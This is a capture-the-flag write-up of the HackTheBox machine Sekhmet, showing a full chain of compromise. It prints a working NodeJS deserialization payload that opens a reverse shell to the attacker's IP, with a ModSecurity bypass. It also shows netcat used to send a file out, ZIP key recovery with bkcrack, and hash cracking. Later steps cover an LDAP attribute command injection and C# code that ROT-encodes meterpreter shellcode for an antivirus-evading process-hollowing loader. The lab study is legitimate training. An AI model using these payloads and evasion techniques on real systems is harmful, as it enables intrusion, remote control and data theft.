Home HackTheBox - Sekhmet | Writeup
Post
Cancel

HackTheBox - Sekhmet | Writeup

Sekhmet

Overview

Sekhmet is an insane difficulty box: a lot of enumeration, exploitation of NodeJS deserialization, ModSecurity and Windows AppLocker bypass, weak ZIP encryption types, pivoting, dealing with authentication type restrictions, NTLMv2 hashes brute force, and other interesting things.

Enumeration

Let’s add sekhmet’s IP to the /etc/hosts file.

Starting from a standard Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
nmap -v -Pn -n -T4 -p- -sV -sC sekhmet.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 8c7155df97275ed5375a8de2923bf36e (RSA)
|   256 b232f5889bfb58fa35b0710c9abd3cef (ECDSA)
|_  256 eb73c0936e40c8f6b0a828937d18474c (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap reveals 2 services: HTTP and SSH. HTTP redirects us to www.windcorp.htb. Let’s add this IP to the /etc/hosts file as well and check the web application running there:

Seems it’s just a one-page custom site.

Quick resource enumeration with dirsearch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dirsearch -u http://www.windcorp.htb/ -x 403

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                                                                                           
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                    
                                                                                                                                                                                                                                           
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/i223t/.dirsearch/reports/www.windcorp.htb/-_23-03-28_05-19-40.txt

Error Log: /home/i223t/.dirsearch/logs/errors-23-03-28_05-19-40.log

Target: http://www.windcorp.htb/

[05:19:40] Starting: 
[05:19:52] 200 -  213B  - /Readme.txt                                       
[05:20:12] 301 -  169B  - /assets  ->  http://www.windcorp.htb/assets/      
[05:20:19] 200 -    2KB - /changelog.txt                                    
[05:20:35] 200 -   34KB - /index.html

There is a login page:

Unfortunately, it sends data to a not accessible (404 error) php fage. The further resource enumeration didn’t bring anything new, so we probably need to find another resource.

Let’s try to find different vhosts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gobuster vhost -u windcorp.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://windcorp.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/03/28 05:38:35 Starting gobuster in VHOST enumeration mode
===============================================================
Found: portal.windcorp.htb Status: 403 [Size: 2436]
Progress: 4960 / 4990 (99.40%)
===============================================================
2023/03/28 05:39:05 Finished
===============================================================

A new name was found - portal.windcorp.htb. Let’s add it to /etc/hosts and check the resource:

Foothold

Surprisingly, admin:admin creds worked.

The application uses NodeJS as a backend and base64 encoded cookie:

1
2
3
echo eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOiIxIiwibG9nb24iOjE2ODAwMjM2NDQ5MTZ9 | base64 -d

{"username":"admin","admin":"1","logon":1680023644916}

Googling the keywords “cookie json nodejs exploit” we can find an explanation of a couple of deserialization vulnerabilities in NodeJS: CVE-2017-5941 and CVE-2017-5954

Using the POC and nodejsshell.py tool from the post:

1
2
3
4
5
python2 nodejsshell.py 10.10.17.159 4444
[+] LHOST = 10.10.17.159
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,55,46,49,53,57,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

The final payload is (before base64 encoding):

1
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,55,46,49,53,57,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Unfortunately, the exploitation was blocked by ModSecurity.

It turns out that it’s possible to bypass just adding random characters to the end.

The final payload is:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: portal.windcorp.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: app=s%3A6Hby0BJe2sdFvT0hqREclXLeaJFLCG4X.qwnP8O9nsZQ9Za8na8L88qspdF4kWm%2B0AeXuzGtzRCA; profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1NSw0Niw0OSw1Myw1NywzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1Miw1Miw1Miw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==123
Upgrade-Insecure-Requests: 1
If-None-Match: W/"570-87pysOAj9WHilO3FBPlP5AZO410"

We got a shell:

Let’s add our public ssh key for easy access:

1
2
3
4
5
6
7
8
9
#generate a key on the kali host
ssh-keygen
cat ~/.ssh/id_rsa.pub

#add it to the compromised host
echo "ssh-rsa AAAAB3N...." >> ~/.ssh/authorized_keys

#now we can access the host using SSH
ssh webster@sekhmet.htb

Zip decryption

There is a backup.zip file in the home directory. Let’s download it:

1
2
3
4
5
#on kali:
nc -lvp 4444 > backup.zip

#on the web server:
nc -vn 10.10.17.159 4444 < ~/backup.zip

The file is encrypted. The simple brute force didn’t work.

Let’s check the information about the zip file itself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
7z l -slt backup.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-8265U CPU @ 1.60GHz (806EB),ASM,AES-NI)

Scanning the drive for archives:
1 file, 72984 bytes (72 KiB)

Listing archive: backup.zip

--
Path = backup.zip
Type = zip
Physical Size = 72984

----------
Path = etc/passwd
Folder = -
Size = 1509
Packed Size = 554
Modified = 2022-04-30 11:27:46
Created = 
Accessed = 
Attributes = _ -rw-r--r--
Encrypted = +
Comment = 
CRC = D00EEE74
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0

The method is ZipCrypto Deflate which is considered weak.

From https://github.com/kimci86/bkcrack:

This algorithm generates a pseudo-random stream of bytes (keystream) which is XORed to the entry’s content (plaintext) to produce encrypted data (ciphertext). The generator’s state, made of three 32-bits integers, is initialized using the password and then continuously updated with plaintext as encryption goes on. This encryption algorithm is vulnerable to known plaintext attacks as shown by Eli Biham and Paul C. Kocher in the research paper A known plaintext attack on the PKZIP stream cipher. Given ciphertext and 12 or more bytes of the corresponding plaintext, the internal state of the keystream generator can be recovered.

Following the post: https://www.acceis.fr/cracking-encrypted-archives-pkzip-zip-zipcrypto-winzip-zip-aes-7-zip-rar/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#bruteforce the keys
webster@webserver:~$ ./bkcrack -C backup.zip -c etc/passwd -p /etc/passwd -P passwd.zip
<ckup.zip -c etc/passwd -p /etc/passwd -P passwd.zip
bkcrack 1.5.0 - 2022-07-07
Zip error: found no entry named "/etc/passwd".
webster@webserver:~$ ./bkcrack -C backup.zip -c etc/passwd -p passwd -P passwd.zip
<-C backup.zip -c etc/passwd -p passwd -P passwd.zip
bkcrack 1.5.0 - 2022-07-07
[22:58:27] Z reduction using 535 bytes of known plaintext
100.0 % (535 / 535)
[22:58:28] Attack on 14541 Z values at index 9
Keys: d6829d8d 8514ff97 afc3f825
91.0 % (13237 / 14541)
[23:01:06] Keys
d6829d8d 8514ff97 afc3f825

#create a new arhive with our own password and unzip it
./bkcrack -C ../backup.zip -k d6829d8d 8514ff97 afc3f825 -U backup_decrypted.zip 123
unzip backup_decrypted.zip

Unzipping the archive:

Linux User and Root

Let’s check the SSSD cache files. SSSD means System Security Services Daemon. It allows a local service to check with a local cache in SSSD, but that cache may be taken from various remote identity providers.

1
cat var/lib/sss/db/cache_windcorp.htb.ldb | strings

There is a sha512crypt hash:

Crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
john -w=/usr/share/wordlists/rockyou.txt linux_hash.txt 

Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pantera          (?)     
1g 0:00:00:00 DONE (2023-03-29 09:26) 3.225g/s 3303p/s 3303c/s 3303C/s hockey..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We can log in:

After some enumeration, it turns out there is no sudo binary available, but it’s Kerberos alternative is installed:

https://linux.die.net/man/1/ksu:

ksu is a Kerberized version of the su program that has two missions: one is to securely change the real and effective user ID to that of the target user, and the other is to create a new security context.


Upon successful authentication, ksu checks whether the target principal is authorized to access the target account. In the target user’s home directory, ksu attempts to access two authorization files: .k5login and .k5users. In the .k5login file each line contains the name of a principal that is authorized to access the account.

Let’s try to run it:

We got root. It’s time to check the AD.

AD Enumeration

Port scan from the root account (precompiled nmap binary was downloaded from https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@webserver:/tmp# ./nmap -Pn -n 192.168.0.2

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-29 16:25 CEST
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.0.2
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.0074s latency).
Not shown: 1148 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
88/tcp  open  kerberos
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd
636/tcp open  ldaps

Add the ssh key to the authorized_keys file for the root user and run another socks proxy:

1
2
3
4
5
#on the compromised host
echo "ssh-rsa AAAABI..." >> ~/.ssh/authorized_keys

#on kali (don't forget to reconfigure proxychains):
ssh -D 3129 root@sekhmet.htb -f -N

Let’s check the SMB shares on the DC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ask for a Service Ticket:
proxychains impacket-getST -spn cifs/hope.windcorp.htb -dc-ip 192.168.0.2 -debug 'windcorp.htb/ray.duncan:pantera'

#use the ticket to connect to the SMB on the hope.windcorp.htb
KRB5CCNAME=ray.duncan.ccache proxychains impacket-smbclient -k -no-pass hope.windcorp.htb

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
WC-Share
# use WC-Share
# ls
drw-rw-rw-          0  Mon May  2 06:33:07 2022 .
drw-rw-rw-          0  Wed Mar 29 09:12:22 2023 ..
drw-rw-rw-          0  Wed Mar 29 11:41:14 2023 temp
# cd temp
# ls
drw-rw-rw-          0  Wed Mar 29 11:41:14 2023 .
drw-rw-rw-          0  Mon May  2 06:33:07 2022 ..
-rw-rw-rw-         88  Wed Mar 29 11:41:14 2023 debug-users.txt
# cat debug-users.txt
IvanJennings43235345
MiriamMills93827637
BenjaminHernandez23232323
RayDuncan9342211

An interesting finding, but currently it’s hard to understand how to use it.

LDAP enumeration:

1
root@webserver:/# ldapsearch -LLL -H ldap://hope.windcorp.htb -b "dc=windcorp,dc=htb" "(objectClass=user)"

It turns out that the number from the debug-users.txt file is a phone number from the AD account attribute. So, probably there should be any kind of injection: XSS or command.

Windows User

There is a way to modify user attributes using LDAP and ldapmodify tool

We can try to inject a basic ping command:

test.ldif:

1
2
3
4
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: 1; ping 10.10.16.153

Apply the changes:

1
ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f test.ldif

Nice, we got a command execution.

It seems we have a command injection, but basic shells didn’t work and there is a length limit. Let’s assume there is some kind of AV installed. We can create an obfuscated shell with some tricks: ROT encoding + process hollowing.

Here is the code to encode the meterpreter payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

//nuget install Microsoft.Net.Compilers
//C:\Temp\Microsoft.Net.Compilers.4.2.0\tools\csc.exe .\ROTShellcodeEncoder.cs

namespace ROT_Shellcode_Encoder
{
    class Program
    {
        static void Main(string[] args)
        {
            //Create a shellcode
            //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.81 LPORT=443 EXITFUNC=thread -f csharp

            byte[] buf = new byte[708] {0xfc,0x48,0x83,0xe4,0xf0,0xe8...};

            int rotNo = 5;

            // Encode the payload with rotation
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + rotNo) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            int totalCount = encoded.Length;
            for (int count = 0; count < totalCount; count++)
            {
                byte b = encoded[count];

                if ((count + 1) == totalCount) // Dont append comma for last item
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2}, ", b);
                }
            }

            Console.WriteLine($"ROT{rotNo} payload:");
            Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {hex} ;");
            Console.Read();

            //// Decode
            // for (int i = 0; i < buf.Length; i++)
            // {
            //    buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
            //}

        }
    }
}

Code for a final payload with Process Hollowing (the previously generated buffer should be used):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

//C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe ProcessHollowing.cs

namespace ProcessHollowing
{
    class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
            );
        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(
            IntPtr hProcess,
            int procInformationClass,
            ref PROCESS_BASIC_INFORMATION procInformation,
            uint ProcInfoLen,
            ref uint retlen
            );
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer,
            int dwSize,
            out IntPtr lpNumberOfBytesRead
            );
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            Int32 nSize,
            out IntPtr lpNumberOfBytesWritten
            );
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);
        static void Main(string[] args)
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
